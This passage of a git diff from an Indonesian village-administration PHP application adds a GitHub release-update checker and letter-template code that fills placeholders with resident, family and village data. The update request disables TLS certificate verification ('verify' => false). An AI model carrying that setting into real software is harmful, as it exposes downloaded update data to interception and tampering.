+ $folder = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $folder); + $folder = str_replace(FCPATH, '', $folder); + $folder = trim($folder, DIRECTORY_SEPARATOR); + + if (! is_dir($folder) || ! is_writable($folder)) { + $folder = FCPATH; + } else { + $folder = FCPATH . $folder . DIRECTORY_SEPARATOR; + } + + $this->cache = $folder . 'version.json'; + + return $this; + } + + /** + * Cek apakah ada rilis baru atau tidak. + * Caranya dengan membandingkan versi saat ini dengan versi yang ada di repositori. + * + * @return bool + */ + public function isAvailable() + { + return $this->fixVersioning($this->getCurrentVersion()) < $this->fixVersioning($this->getLatestVersion()); + } + + /** + * Atur versi yang digunakan saat ini + * Contoh return value: 'v2304.0.0' + * + * return $this + */ + public function setCurrentVersion(?string $version = null) + { + $this->version = 'v' . ltrim($version ?? VERSION, 'v'); + + return $this; + } + + /** + * Ambil versi + * + * @return string + */ + public function getCurrentVersion() + { + return $this->version; + } + + /** + * Ambil tag versi dari rilis terbaru. + * Contoh return value: 'v2304.0.1' + * + * @return string + */ + public function getLatestVersion() + { + return $this->resync()->tag_name; + } + + /** + * Ambil nama rilis + * Contoh return value di rilis v20.07: + * 'Sediakan QR Code dan masukkan APBDes secara manual' + * + * @return string + */ + public function getReleaseName() + { + return $this->resync()->name; + } + + /** + * Ambil url download rilis + * + * @return string + */ + public function getReleaseDownload() + { + // Bisa menggunakan zipball_url, tapi penamaan file dan foldernya tidak sesuai rilis. + // Jadi digunakan html_url dengan penyesuaian. + + return str_replace('releases/tag', 'archive/refs/tags', $this->resync()->html_url) . '.zip'; + } + + /** + * Ambil deskripsi rilis (github menamainya body). + * Contoh return value di rilis v20.07: + * 'Di rilis ini, versi 20.07, tersedia fitur untuk membuat file QR Code yg bisa dipasang di artikel, + * surat atau materi lain. Rilis ini juga berisi perbaikan lain yang diminta Komunitas SID ... dst.' + * + * @return string + */ + public function getReleaseBody() + { + return $this->convertMarkdownLink($this->resync()->body); + } + + /** + * Convert markdown link ke html. + * + * @see https://stackoverflow.com/questions/24985530/parsing-a-markdown-style-link-safely + * + * @return string + */ + protected function convertMarkdownLink(?string $body = null) + { + return preg_replace_callback('/\[(.*?)\]\((.*?)\)/', static fn ($matches) => '' . $matches[1] . '', htmlspecialchars($body)); + } + + /** + * Sinkronisasi file cache dengan data di repositori. + * + * @return object + */ + public function resync() + { + if (! $this->api) { + throw new Exception('Please specify the API endpoint URL.'); + } + + if ($this->cacheIsOutdated()) { + try { + $client = new Client(); + $response = $client->get($this->api, [ + 'headers' => [ + 'Accept' => 'application/vnd.github.v3+json', + ], + 'verify' => false, + ]); + + if ($response->getStatusCode() == 200) { + $this->write($response->getBody()->getContents()); + } + + return json_decode($this->read(), null, 512, JSON_THROW_ON_ERROR); + } catch (ClientException $cx) { + log_message('error', $cx->getMessage()); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + } + } + + try { + return json_decode($this->read(), null, 512, JSON_THROW_ON_ERROR); + } catch (Exception $e) { + log_message('error', $e->getMessage()); + + return false; + } + } + + /** + * Cek apakah data cache sudah kadaluwarsa atau belum. + * Cache dianggap kadaluwarsa jika: + * - File cachenya belum ada di server kita, atau + * - File cache sudah ada tetapi waktu modified-time filenya sudah + * lebih dari interval yang ditentukan. + * + * @return bool + */ + public function cacheIsOutdated() + { + return ! is_file($this->cache) || (time() > (filemtime($this->cache) + $this->interval)); + } + + /** + * Ubah versi rilis menjadi integer agar bisa dibandingkan + * + * Contoh : 2304.0.0 => 230400000000 + * + * @return int + */ + public function fixVersioning(?string $version = null) + { + $version = str_replace('v', '', $version); + $version = explode('.', $version); + + // major, minor dan patch maksimal 4 digit + $major = (int) substr($version[0], 0, 4) * 100_000_000; + $minor = (int) substr($version[1], 0, 4) * 10000; + $patch = (int) substr($version[2], 0, 4); + + return $major + $minor + $patch; + } + + /** + * Buat/timpa file cache jika sudah kadaluwarsa. + * + * @return void + */ + public function write(string $cache) + { + $file = $this->cache; + + if ($this->cacheIsOutdated()) { + if (is_file($file)) { + unlink($file); + } + + file_put_contents($file, $cache, LOCK_EX); + } + } + + /** + * Baca file cache. + * + * @return string + */ + public function read() + { + return file_get_contents($this->cache); + } +} diff --git a/app/Libraries/TinyMCE.php b/app/Libraries/TinyMCE.php index 5fb0280dd..813839889 100644 --- a/app/Libraries/TinyMCE.php +++ b/app/Libraries/TinyMCE.php @@ -1,409 +1,1263 @@ - + + + [logo] + +

PEMERINTAH [SEbutan_kabupaten] [NAma_kabupaten]
KECAMATAN [NAma_kecamatan]
[SEbutan_desa] [NAma_desa]

+

[Alamat_desA]

+ + + + +
+ '; + public const FOOTER = ' + + + + + + + + +
[kode_desa] +

 

+
[KOde_surat]
+ '; + public const FOOTER_TTE = ' + + + + + + + + +
[kode_desa] +

 

+
[KOde_surat]
+ + + + + + + + +
[logo_bsre]
+
    +
  • UU ITE No. 11 Tahun 2008 Pasal 5 ayat 1 "Informasi Elektronik dan/atau hasil cetaknya merupakan alat bukti hukum yang sah".
  • +
  • Dokumen ini tertanda ditandatangani secara elektronik menggunakan sertifikat elektronik yang diterbitkan BSrE.
  • +
  • Surat ini dapat dibuktikan keasliannya dengan menggunakan qr code yang telah tersedia.
  • +
+
[qr_bsre]
+ '; + public const TOP = 3.5; // cm + public const BOTTOM = 2; // cm + + public function getTemplate() + { + $template = [ + [ + 'nama' => 'Header', + 'template' => [ + 'sistem' => static::HEADER, + 'desa' => setting('header_surat'), + ], + ], + + [ + 'nama' => 'Footer', + 'template' => [ + 'sistem' => static::FOOTER, + 'desa' => setting('footer_surat'), + ], + ], + + [ + 'nama' => 'Footer TTE', + 'template' => [ + 'sistem' => static::FOOTER_TTE, + 'desa' => setting('footer_surat_tte'), + ], + ], + ]; + + return collect($template); + } + + public function getTemplateSurat() + { + return collect(FormatSurat::whereNotNull('template')->jenis(FormatSurat::TINYMCE)->get(['nama', 'template', 'template_desa'])) + ->map(static fn ($item, $key) => [ + 'nama' => 'Surat ' . $item->nama, + 'template' => [ + 'sistem' => $item->template, + 'desa' => $item->template_desa, + ], + ]); + } + + public function getFormatedKodeIsian($data = [], $withData = false) + { + $idPenduduk = $data['id_pend']; + + $daftar_kode_isian = [ + // Data Surat + 'Surat' => $this->getIsianSurat($data), + + // Data Identitas Desa + 'Identitas Desa' => $this->getIsianIdentitas($idPenduduk ?? $data['nik_non_warga']), + + // Data Dusun + 'Wilayah' => $this->getIsianWilayah(), + + // Data Penduduk Umum + 'Penduduk' => $this->getIsianPenduduk($idPenduduk), + + // Data Anggota keluarga + 'Anggota Keluarga' => $this->getIsianAnggotaKeluarga($idPenduduk), + + // Data Pasangan + 'Pasangan' => $this->getIsianPasangan($idPenduduk), + ]; + + $peristiwa = $data['surat']->form_isian->individu->status_dasar; + if (in_array($peristiwa, LogPenduduk::PERISTIWA)) { + $daftar_kode_isian['Peristiwa'] = KodeIsianPeristiwa::get($idPenduduk, $peristiwa); + } + + // Penduduk Kategori + foreach ($data['kategori'] as $key => $value) { + $daftar_kode_isian[$key] = $this->getIsianPenduduk($value, $key); + } + + // Data Dari Form Isian dsd + $isian_post = $this->getIsianPost($data); + if (isset($isian_post['kategori'])) { + foreach ($isian_post['kategori'] as $key => $value) { + $nama_ktg = $value['nama_kategori']; + unset($value['nama_kategori']); + $daftar_kode_isian['Input ' . $nama_ktg][] = $value; + // unset($daftar_kode_isian['Input ' . $value['nama_kategori']]['nama_kategori']); + } + // $daftar_kode_isian['Input Kategori'] = $isian_post['kategori']; + unset($isian_post['kategori']); + } + $daftar_kode_isian['Input'] = $isian_post; + + // Penandatangan + $daftar_kode_isian['Penandatangan'] = $this->getPenandatangan($data['input']); + + // Jika penduduk luar, hilangkan isian penduduk + if ($data['surat']['form_isian']->data == 2) { + unset($daftar_kode_isian['Penduduk'], $daftar_kode_isian['Anggota Keluarga']); + } + + if ($withData) { + return collect($daftar_kode_isian) + ->flatten(1) + ->pluck('data', 'isian.normal') + ->toArray(); + } + + return $daftar_kode_isian; + } + + private function getIsianSurat($data = []) + { + $DateConv = new DateConv(); + + return [ + [ + 'judul' => 'Format Nomor Surat', + 'isian' => getFormatIsian('Format_nomor_suraT'), + 'data' => strtoupper($this->substitusiNomorSurat($data['no_surat'], ($data['surat']['format_nomor'] == '') ? setting('format_nomor_surat') : $data['surat']['format_nomor'])), + ], + [ + 'judul' => 'Kode', + 'isian' => getFormatIsian('Kode_suraT'), + 'data' => $data['surat']['kode_surat'], + ], + [ + 'judul' => 'Nomer', + 'isian' => getFormatIsian('Nomer_suraT'), + 'data' => $data['no_surat'], + ], + [ + 'judul' => 'Judul', + 'isian' => getFormatIsian('Judul_suraT'), + 'data' => $data['surat']['judul_surat'], + ], + [ + 'judul' => 'Tanggal', + 'isian' => getFormatIsian('Tgl_suraT'), + 'data' => tgl_indo(date('Y m d')), + ], + [ + 'judul' => 'Tanggal Hijri', + 'isian' => getFormatIsian('Tgl_surat_hijrI'), + 'data' => $DateConv->HijriDateId('j F Y'), + ], + [ + 'judul' => 'Tahun', + 'isian' => getFormatIsian('TahuN'), + 'data' => $data['log_surat']['bulan'] ?? date('Y'), + ], + [ + 'judul' => 'Bulan Romawi', + 'isian' => getFormatIsian('Bulan_romawI'), + 'data' => bulan_romawi((int) ($data['log_surat']['bulan'] ?? date('m'))), + ], + [ + 'judul' => 'Logo Surat', + 'isian' => getFormatIsian('logo'), + 'data' => '[logo]', + ], + [ + 'judul' => 'QRCode', + 'isian' => getFormatIsian('qr_code'), + 'data' => '[qr_code]', + ], + [ + 'judul' => 'QRCode BSrE', + 'isian' => getFormatIsian('qr_bsre'), + 'data' => '[qr_bsre]', + ], + [ + 'judul' => 'Logo BSrE', + 'isian' => getFormatIsian('logo_bsre'), + 'data' => '[logo_bsre]', + ], + ]; + } + + private function getIsianIdentitas($id_penduduk = null) + { + $config = null; + $sebutan_dusun = null; + $sebutan_desa = null; + $sebutan_kecamatan = null; + $sebutan_kec = null; + $sebutan_kabupaten = null; + $sebutan_kab = null; + $sebutan_camat = null; + $sebutan_kepala_desa = null; + $sebutan_nip_desa = null; + + if ($id_penduduk) { + $config = identitas(); + $sebutan_dusun = setting('sebutan_dusun'); + $sebutan_desa = setting('sebutan_desa'); + $sebutan_kecamatan = setting('sebutan_kecamatan'); + $sebutan_kec = setting('sebutan_kecamatan_singkat'); + $sebutan_kabupaten = setting('sebutan_kabupaten'); + $sebutan_kab = setting('sebutan_kabupaten_singkat'); + $sebutan_kepala_desa = setting('sebutan_kepala_desa'); + $sebutan_camat = setting('sebutan_camat'); + + if (! empty($config->email_desa)) { + $alamat_desa = "{$config->alamat_kantor} Email: {$config->email_desa} Kode Pos: {$config->kode_pos}"; + $alamat_surat = "{$config->alamat_kantor} Telp. {$config->telepon} Kode Pos: {$config->kode_pos}
Website: {$config->website} Email: {$config->email_desa}"; + } else { + $alamat_desa = "{$config->alamat_kantor} Kode Pos: {$config->kode_pos}"; + $alamat_surat = "{$config->alamat_kantor} Telp. {$config->telepon} Kode Pos: {$config->kode_pos}"; + } + + if (null === $config->pamong()->pamong_nip && (! empty($config->pamong()->pamong_niap))) { + $sebutan_nip_desa = setting('sebutan_nip_desa'); + } else { + $sebutan_nip_desa = 'NIP'; + } + } + + return [ + [ + 'judul' => 'Nama Desa', + 'isian' => getFormatIsian('Nama_desA'), + 'data' => $config->nama_desa, + ], + [ + 'judul' => 'Kode Desa', + 'isian' => getFormatIsian('Kode_desA'), + 'data' => $config->kode_desa, + ], + [ + 'judul' => 'Kode POS', + 'isian' => getFormatIsian('Kode_poS'), + 'data' => $config->kode_pos, + ], + [ + 'judul' => 'Sebutan Desa', + 'isian' => getFormatIsian('Sebutan_desA'), + 'data' => $sebutan_desa, + ], + [ + 'judul' => 'Sebutan Kepala Desa', + 'isian' => getFormatIsian('Sebutan_kepala_desA'), + 'data' => $sebutan_kepala_desa, + ], + [ + 'judul' => 'Nama Kepala Desa', + 'isian' => getFormatIsian('Nama_kepala_desA'), + 'data' => $config->pamong_nama, + ], + [ + 'judul' => 'Sebutan NIP Desa', + 'isian' => getFormatIsian('Sebutan_nip_desA'), + 'data' => $sebutan_nip_desa, + ], + [ + 'judul' => 'NIP Kepala Desa', + 'isian' => getFormatIsian('Nip_kepala_desA'), + 'data' => $config->pamong_nip, + ], + [ + 'judul' => 'Nama Kecamatan', + 'isian' => getFormatIsian('Nama_kecamataN'), + 'data' => $config->nama_kecamatan, + ], + [ + 'judul' => 'Kode Kecamatan', + 'isian' => getFormatIsian('Kode_kecamataN'), + 'data' => $config->kode_kecamatan, + ], + [ + 'judul' => 'Sebutan Kecamatan', + 'isian' => getFormatIsian('Sebutan_kecamataN'), + 'data' => $sebutan_kecamatan, + ], + [ + 'judul' => 'Sebutan Kecamatan (Singkat)', + 'isian' => getFormatIsian('Sebutan_keC'), + 'data' => $sebutan_kec, + ], + [ + 'judul' => 'Sebutan Camat', + 'isian' => getFormatIsian('Sebutan_camaT'), + 'data' => $sebutan_camat, + ], + [ + 'judul' => 'Nama Kepala Camat', + 'isian' => getFormatIsian('Nama_kepala_camaT'), + 'data' => $config->nama_kepala_camat, + ], + [ + 'judul' => 'NIP Kepala Camat', + 'isian' => getFormatIsian('Nip_kepala_camaT'), + 'data' => $config->nip_kepala_camat, + ], + [ + 'judul' => 'Nama Kabupaten', + 'isian' => getFormatIsian('Nama_kabupateN'), + 'data' => $config->nama_kabupaten, + ], + [ + 'judul' => 'Kode Kabupaten', + 'isian' => getFormatIsian('Kode_kabupateN'), + 'data' => $config->kode_kabupaten, + ], + [ + 'judul' => 'Sebutan Kabupaten', + 'isian' => getFormatIsian('Sebutan_kabupateN'), + 'data' => $sebutan_kabupaten, + ], + [ + 'judul' => 'Sebutan Kabupaten (Singkat)', + 'isian' => getFormatIsian('Sebutan_kaB'), + 'data' => $sebutan_kab, + ], + [ + 'judul' => 'Nama Provinsi', + 'isian' => getFormatIsian('Nama_provinsI'), + 'data' => $config->nama_propinsi, + ], + [ + 'judul' => 'Kode Provinsi', + 'isian' => getFormatIsian('Kode_provinsI'), + 'data' => $config->kode_propinsi, + ], + [ + 'judul' => 'Alamat Desa', + 'isian' => getFormatIsian('Alamat_desA'), + 'data' => $alamat_desa, + ], + [ + 'judul' => 'Alamat Surat Desa', + 'isian' => getFormatIsian('Alamat_suraT'), + 'data' => $alamat_surat, + ], + [ + 'judul' => 'Alamat Kantor Desa', + 'isian' => getFormatIsian('Alamat_kantor'), + 'data' => $config->alamat_kantor, + ], + [ + 'judul' => 'Email Desa', + 'isian' => getFormatIsian('Email_desA'), + 'data' => $config->email_desa, + ], + [ + 'judul' => 'Telepon Desa', + 'isian' => getFormatIsian('Telepon_desA'), + 'data' => $config->telepon, + ], + [ + 'judul' => 'Website Desa', + 'isian' => getFormatIsian('Website_desA'), + 'data' => $config->website, + ], + [ + 'judul' => 'Sebutan Dusun', + 'isian' => getFormatIsian('Sebutan_dusuN'), + 'data' => $sebutan_dusun, + ], + ]; + } + + private function getIsianPenduduk($id_penduduk = null, $prefix = '') + { + $ortu = null; + $penduduk = null; + // Data Umum + if (! empty($prefix)) { + $ortu = ' ' . ucwords($prefix); + $prefix = '_' . uclast($prefix); + } + + if ($id_penduduk) { + $penduduk = Penduduk::with(['keluarga', 'rtm'])->find($id_penduduk); + } + + $individu = [ + [ + 'judul' => 'NIK' . $ortu, + 'isian' => getFormatIsian('nik' . $prefix . ''), + 'data' => $penduduk->nik ?? '-', + ], + [ + 'judul' => 'Nama' . $ortu, + 'isian' => getFormatIsian('Nama' . $prefix . ''), + 'data' => $penduduk->nama ?? '-', + ], + [ + 'judul' => 'Tanggal Lahir' . $ortu, + 'isian' => getFormatIsian('Tanggallahir' . $prefix . ''), + 'data' => tgl_indo($penduduk->tanggallahir) ?? '-', + ], + [ + 'judul' => 'Tempat Lahir' . $ortu, + 'isian' => getFormatIsian('Tempatlahir' . $prefix . ''), + 'data' => $penduduk->tempatlahir ?? '-', + ], + [ + 'judul' => 'Tempat Tanggal Lahir' . $ortu, + 'isian' => getFormatIsian('Tempat_tgl_lahir' . $prefix . ''), + 'data' => ($penduduk->tempatlahir . '/' . tgl_indo($penduduk->tanggallahir)) ?? '-', + ], + [ + 'judul' => 'Tempat Tanggal Lahir (TTL)' . $ortu, + 'isian' => getFormatIsian('Ttl' . $prefix . ''), + 'data' => ($penduduk->tempatlahir . '/' . tgl_indo($penduduk->tanggallahir)) ?? '-', + ], + [ + 'judul' => 'Usia' . $ortu, + 'isian' => getFormatIsian('Usia' . $prefix . ''), + 'data' => $penduduk->usia ?? '-', + ], + [ + 'judul' => 'Jenis Kelamin' . $ortu, + 'isian' => getFormatIsian('Jenis_kelamin' . $prefix . ''), + 'data' => $penduduk->jenisKelamin->nama ?? '-', + ], + [ + 'judul' => 'Agama' . $ortu, + 'isian' => getFormatIsian('Agama' . $prefix . ''), + 'data' => $penduduk->agama->nama ?? '-', + ], + [ + 'judul' => 'Pekerjaan' . $ortu, + 'isian' => getFormatIsian('Pekerjaan' . $prefix . ''), + 'data' => $penduduk->pekerjaan->nama ?? '-', + ], + [ + 'judul' => 'Warga Negara' . $ortu, + 'isian' => getFormatIsian('Warga_negara' . $prefix . ''), + 'data' => $penduduk->wargaNegara->nama ?? '-', + ], + [ + 'judul' => 'Alamat' . $ortu, + 'isian' => getFormatIsian('Alamat' . $prefix . ''), + 'data' => $penduduk->alamat_wilayah ?? '-', + ], + [ + 'judul' => 'No KK' . $ortu, + 'isian' => getFormatIsian('No_kK' . $prefix . ''), + 'data' => $penduduk->keluarga->no_kk, + ], + [ + 'judul' => 'Golongan Darah' . $ortu, + 'isian' => getFormatIsian('Gol_daraH' . $prefix . ''), + 'data' => $penduduk->golonganDarah->nama, + ], + ]; + + if (empty($prefix)) { + $lainnya = [ + [ + 'judul' => 'Alamat Jalan', + 'isian' => getFormatIsian('Alamat_jalan'), + 'data' => $penduduk->keluarga->alamat, // alamat kk jika ada + ], + [ + 'judul' => 'Alamat Sebelumnya', + 'isian' => getFormatIsian('Alamat_sebelumnya'), + 'data' => $penduduk->alamat_sebelumnya, + ], + [ + 'judul' => 'Dusun', + 'isian' => getFormatIsian('Nama_dusuN'), + 'data' => $penduduk->wilayah->dusun, + ], + [ + 'judul' => 'RW', + 'isian' => getFormatIsian('Nama_rW'), + 'data' => $penduduk->wilayah->rw, + ], + [ + 'judul' => 'RT', + 'isian' => getFormatIsian('Nama_rT'), + 'data' => $penduduk->wilayah->rt, + ], + [ + 'judul' => 'Akta Kelahiran', + 'isian' => getFormatIsian('Akta_lahiR'), + 'data' => $penduduk->akta_lahir, // Cek ini + ], + [ + 'judul' => 'Akta Perceraian', + 'isian' => getFormatIsian('Akta_perceraiaN'), + 'data' => $penduduk->akta_perceraian, // Cek ini + ], + [ + 'judul' => 'Status Perkawinan', + 'isian' => getFormatIsian('Status_kawiN'), + 'data' => $penduduk->statusKawin->nama, // Cek ini + ], + [ + 'judul' => 'Akta Perkawinan', + 'isian' => getFormatIsian('Akta_perkawinaN'), + 'data' => $penduduk->akta_perkawinan, // Cek ini + ], + [ + 'judul' => 'Tanggal Perkawinan', + 'isian' => getFormatIsian('TanggalperkawinaN'), + 'data' => tgl_indo($penduduk->tanggalperkawinan), + ], + [ + 'judul' => 'Tanggal Perceraian', + 'isian' => getFormatIsian('TanggalperceraiaN'), + 'data' => tgl_indo($penduduk->tanggalperceraian), + ], + [ + 'judul' => 'Cacat', + 'isian' => getFormatIsian('CacaT'), + 'data' => $penduduk->cacat->nama, + ], + [ + 'judul' => 'Pendidikan Sedang', + 'isian' => getFormatIsian('Pendidikan_sedanG'), + 'data' => $penduduk->pendidikan->nama, + ], + [ + 'judul' => 'Pendidikan Dalam KK', + 'isian' => getFormatIsian('Pendidikan_kK'), + 'data' => $penduduk->pendidikanKK->nama, + ], + [ + 'judul' => 'Dokumen Pasport', + 'isian' => getFormatIsian('Dokumen_pasporT'), + 'data' => $penduduk->dokumen_pasport, + ], + [ + 'judul' => 'Tanggal Akhir Paspor', + 'isian' => getFormatIsian('Tanggal_akhir_paspoR'), + 'data' => tgl_indo($penduduk->tanggal_akhir_paspor), + ], + + // Data KK + [ + 'judul' => 'Hubungan Dalam KK', + 'isian' => getFormatIsian('Hubungan_kK'), + 'data' => $penduduk->pendudukHubungan->nama, + ], + [ + 'judul' => 'No KK', + 'isian' => getFormatIsian('No_kK'), + 'data' => $penduduk->keluarga->no_kk, + ], + [ + 'judul' => 'Kepala KK', + 'isian' => getFormatIsian('Kepala_kK'), + 'data' => $penduduk->keluarga->kepalaKeluarga->nama, + ], + [ + 'judul' => 'NIK KK', + 'isian' => getFormatIsian('Nik_kepala_kK'), + 'data' => $penduduk->keluarga->kepalaKeluarga->nik, + ], + + // Data RTM + [ + 'judul' => 'ID BDT', + 'isian' => getFormatIsian('Id_bdT'), + 'data' => $penduduk->rtm->bdt, + ], + ]; + + // Data Umum + $data = array_merge($individu, $lainnya); + + // Data Orang Tua + + $id_ayah = Penduduk::where('nik', $penduduk->ayah_nik)->first()->id; + $id_ibu = Penduduk::where('nik', $penduduk->ibu_nik)->first()->id; + + if (! $id_ayah && $penduduk->kk_level == StatusHubunganEnum::ANAK) { + $id_ayah = Penduduk::where('id_kk', $penduduk->id_kk) + ->where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::SUAMI); + }) + ->where('sex', JenisKelaminEnum::LAKI_LAKI) + ->first()->id; + } + + if (! $id_ibu && $penduduk->kk_level == StatusHubunganEnum::ANAK) { + $id_ibu = Penduduk::where('id_kk', $penduduk->id_kk) + ->where(static function ($query) { + $query->where('kk_level', StatusHubunganEnum::KEPALA_KELUARGA) + ->orWhere('kk_level', StatusHubunganEnum::ISTRI); + }) + ->where('sex', JenisKelaminEnum::PEREMPUAN) + ->first()->id; + } + + // Data Ayah + $data = array_merge($data, $this->getIsianPenduduk($id_ayah, 'ayah')); + + // Data Ibu + $data = array_merge($data, $this->getIsianPenduduk($id_ibu, 'ibu')); + + if ($penduduk->ayah_nik == null) { + $data_ortu = [ + [ + 'judul' => 'Nama Ayah', + 'isian' => getFormatIsian('Nama_ayaH'), + 'data' => $penduduk->nama_ayah, + ], + ]; + $data = array_merge($data, $data_ortu); + } + + if ($penduduk->ibu_nik == null) { + $data_ortu = [ + [ + 'judul' => 'Nama Ibu', + 'isian' => getFormatIsian('Nama_ibU'), + 'data' => $penduduk->nama_ibu, + ], + ]; + $data = array_merge($data, $data_ortu); + } + + $id_ayah = Penduduk::where('nik', $penduduk->ayah_nik)->first()->id; + $id_ibu = Penduduk::where('nik', $penduduk->ibu_nik)->first()->id; + + // Data Ayah + $data = array_merge($data, $this->getIsianPenduduk($id_ayah, 'ayah')); + + // Data Ibu + return array_merge($data, $this->getIsianPenduduk($id_ibu, 'ibu')); + } + + return $individu; + } + + private function getIsianWilayah() + { + $wilayah = Wilayah::with('kepala')->dusun()->get(); + + $data = []; + + foreach ($wilayah as $wil) { + $data[] = [ + 'judul' => ucwords(strtolower(setting('sebutan_dusun') . ' ' . $wil->dusun)), + 'isian' => getFormatIsian(ucwords(strtolower(setting('sebutan_dusun') . '_' . $wil->dusun))), + 'data' => $wil->dusun, + ]; + $data[] = [ + 'judul' => ucwords(strtolower('Kepala ' . setting('sebutan_dusun') . ' ' . $wil->dusun)), + 'isian' => getFormatIsian(ucwords(strtolower('Kepala_' . setting('sebutan_dusun') . '_' . $wil->dusun))), + 'data' => $wil->kepala->nama, + ]; + } + + return $data; + } + + private function getIsianAnggotaKeluarga($id_penduduk = null) + { + $id_kk = Penduduk::where('kk_level', SHDKEnum::KEPALA_KELUARGA)->find($id_penduduk)->id_kk; + $anggota = Keluarga::find($id_kk)->anggota; + + return [ + [ + 'judul' => 'Urutan', + 'isian' => getFormatIsian('Klgx_nO'), + 'data' => $anggota ? $anggota->pluck('id') + ->map(static fn ($item, $key) => $key + 1) + ->values()->toArray() : '', + ], + [ + 'judul' => 'NIK', + 'isian' => getFormatIsian('Klgx_niK'), + 'data' => $anggota ? $anggota->pluck('nik')->toArray() : '', + ], + [ + 'judul' => 'Nama', + 'isian' => getFormatIsian('Klgx_namA'), + 'data' => $anggota ? $anggota->pluck('nama')->toArray() : '', + ], + [ + 'judul' => 'Jenis Kelamin', + 'isian' => getFormatIsian('Klgx_jenis_kelamiN'), + 'data' => $anggota ? $anggota->pluck('jenisKelamin.nama')->toArray() : '', + ], + [ + 'judul' => 'Tempat Lahir', + 'isian' => getFormatIsian('Klgx_tempatlahiR'), + 'data' => $anggota ? $anggota->pluck('tempatlahir')->toArray() : '', + ], + [ + 'judul' => 'Tgl Lahir', + 'isian' => getFormatIsian('Klgx_tanggallahiR'), + 'data' => $anggota ? $anggota->pluck('tanggallahir') + ->map(static fn ($item) => tgl_indo($item)) + ->toArray() : '', + ], + [ + 'judul' => 'Tempat Tgl Lahir', + 'isian' => getFormatIsian('Klgx_tempat_tgl_lahiR'), + 'data' => $anggota ? $anggota->pluck('tempatlahir', 'tanggallahir') + ->map(static fn ($item, $key) => $item . ', ' . tgl_indo($key)) + ->values()->toArray() : '', + ], + [ + 'judul' => 'Tempat Tgl Lahir (TTL)', + 'isian' => getFormatIsian('Klgx_ttL'), + 'data' => $anggota ? $anggota->pluck('tempatlahir', 'tanggallahir') + ->map(static fn ($item, $key) => $item . ', ' . tgl_indo($key)) + ->values()->toArray() : '', + ], + [ + 'judul' => 'Usia', + 'isian' => getFormatIsian('Klgx_usiA'), + 'data' => $anggota ? $anggota->pluck('usia')->toArray() : '', + ], + [ + 'judul' => 'Agama', + 'isian' => getFormatIsian('Klgx_agamA'), + 'data' => $anggota ? $anggota->pluck('agama.nama')->toArray() : '', + ], + [ + 'judul' => 'Pendidikan Sedang', + 'isian' => getFormatIsian('Klgx_pendidikan_sedanG'), + 'data' => $anggota ? $anggota->pluck('pendidikan.nama')->toArray() : '', + ], + [ + 'judul' => 'Pendidikan Dalam KK', + 'isian' => getFormatIsian('Klgx_pendidikan_kK'), + 'data' => $anggota ? $anggota->pluck('pendidikanKk.nama')->toArray() : '', + ], + [ + 'judul' => 'Pekerjaan', + 'isian' => getFormatIsian('Klgx_pekerjaaN'), + 'data' => $anggota ? $anggota->pluck('pekerjaan.nama')->toArray() : '', + ], + [ + 'judul' => 'Status Perkawinan', + 'isian' => getFormatIsian('Klgx_status_kawiN'), + 'data' => $anggota ? $anggota->pluck('statusKawin.nama')->toArray() : '', + ], + [ + 'judul' => 'Hubungan Dalam KK', + 'isian' => getFormatIsian('Klgx_hubungan_kK'), + 'data' => $anggota ? $anggota->pluck('pendudukHubungan.nama')->toArray() : '', + ], + [ + 'judul' => 'Warga Negara', + 'isian' => getFormatIsian('Klgx_warga_negarA'), + 'data' => $anggota ? $anggota->pluck('warganegara.nama')->toArray() : '', + ], + [ + 'judul' => 'Alamat', + 'isian' => getFormatIsian('Klgx_alamat'), + 'data' => $anggota ? $anggota->pluck('alamat_wilayah')->toArray() : '', + ], + [ + 'judul' => 'Golongan Darah', + 'isian' => getFormatIsian('Klgx_golongan_darah'), + 'data' => $anggota ? $anggota->pluck('golonganDarah.nama')->toArray() : '', + ], + [ + 'judul' => 'Dokumen Pasport', + 'isian' => getFormatIsian('Klgx_dokumen_pasporT'), + 'data' => $anggota ? $anggota->pluck('dokumen_pasport')->toArray() : '', + ], + [ + 'judul' => 'Tgl Akhir Paspor', + 'isian' => getFormatIsian('Klgx_tanggal_akhir_paspoR'), + 'data' => $anggota ? $anggota->pluck('tanggal_akhir_paspor') + ->map(static fn ($item) => tgl_indo($item)) + ->toArray() : '', + ], + [ + 'judul' => 'NIK Ayah', + 'isian' => getFormatIsian('Klgx_nik_ayaH'), + 'data' => $anggota ? $anggota->pluck('ayah_nik')->toArray() : '', + ], + [ + 'judul' => 'Nama Ayah', + 'isian' => getFormatIsian('Klgx_nama_ayaH'), + 'data' => $anggota ? $anggota->pluck('nama_ayah')->toArray() : '', + ], + [ + 'judul' => 'NIK Ibu', + 'isian' => getFormatIsian('Klgx_nik_ibU'), + 'data' => $anggota ? $anggota->pluck('ibu_nik')->toArray() : '', + ], + [ + 'judul' => 'Nama Ibu', + 'isian' => getFormatIsian('Klgx_nama_ibU'), + 'data' => $anggota ? $anggota->pluck('nama_ibu')->toArray() : '', + ], + ]; + } + + private function getIsianPasangan($id_penduduk = null) + { + $penduduk = Penduduk::find($id_penduduk); + + return [ + [ + 'judul' => 'Jenis Kelamin Pasangan', + 'isian' => getFormatIsian('Jenis_kelamin_pasangaN'), + 'data' => $penduduk->sex == JenisKelaminEnum::LAKI_LAKI ? 'Wanita' : 'Pria', + ], + [ + 'judul' => 'Bin Pasangan', + 'isian' => getFormatIsian('Bin_pasangaN'), + 'data' => $penduduk->sex == JenisKelaminEnum::LAKI_LAKI ? 'Binti' : 'Bin', + ], + ]; + } + + private function getIsianPost($data = []) + { + $input = $data['input']; + + // Statis Post + $postStatis = []; + + if ((int) $data['surat']['masa_berlaku'] > 0) { + $postStatis = [ + [ + 'nama' => 'Mulai Berlaku', + 'kode' => '[mulai_berlaku]', + ], + [ + 'nama' => 'Berlaku Sampai', + 'kode' => '[berlaku_sampai]', + ], + [ + 'nama' => 'Pengikut Surat', + 'kode' => '[pengikut_surat]', + ], + [ + 'nama' => 'Pengikut KIS', + 'kode' => '[pengikut_kis]', + ], + [ + 'nama' => 'Pengikut Kartu KIS', + 'kode' => '[pengikut_kartu_kis]', + ], + [ + 'nama' => 'Pengikut Pindah', + 'kode' => '[pengikut_pindah]', + ], + ]; + + $postStatis = collect($postStatis) + ->map(static function ($item, $key) use ($input) { + return [ + 'judul' => $item['nama'], + 'isian' => getFormatIsian(str_replace(['[', ']'], '', 